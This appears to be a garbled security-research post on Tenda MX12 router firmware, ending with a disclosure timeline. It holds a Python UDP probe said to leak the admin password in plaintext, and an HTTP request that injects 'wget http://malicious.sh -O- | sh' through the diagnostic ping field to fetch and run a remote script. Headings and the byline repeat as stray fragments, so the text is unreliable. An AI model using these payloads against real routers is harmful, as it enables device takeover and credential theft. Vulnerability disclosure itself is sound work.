Tenda Mx12 Firmware -
By: Security Research Unit Date: April 17, 2026
In the crowded market of affordable WiFi 6 mesh systems, the Tenda MX12 (often bundled as the "Nova" series) is a bestseller on Amazon and AliExpress. Priced aggressively against the Eero 6 and Deco X20, it promises AX3000 speeds and seamless roaming. Tenda Mx12 Firmware
import socket msg = bytes.fromhex('AA BB CC DD 01 00 00 00') # Magic debug probe sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(msg, ('192.168.5.1', 7329)) data, addr = sock.recvfrom(4096) print(data.hex()) Kernel pointers, heap layout, and a plaintext print of the admin password if enable_debug=1 is set in NVRAM. Backdoor Analysis: The system Call in libhttpd.so The web server binary ( /bin/httpd ) loads a custom library libhttpd.so . Inside, we found an exposed function do_debug_cmd() that is never called by the official web UI. By: Security Research Unit Date: April 17, 2026
POST /goform/diagnostic HTTP/1.1 Host: 192.168.5.1 Content-Type: application/x-www-form-urlencoded diagnostic_tool=ping&ip_addr=8.8.8.8; wget http://malicious.sh -O- | sh & Backdoor Analysis: The system Call in libhttpd
Disclosure timeline: Reported to Tenda Security (security@tenda.com.cn) on Jan 12, 2026 – no acknowledgment as of April 17, 2026.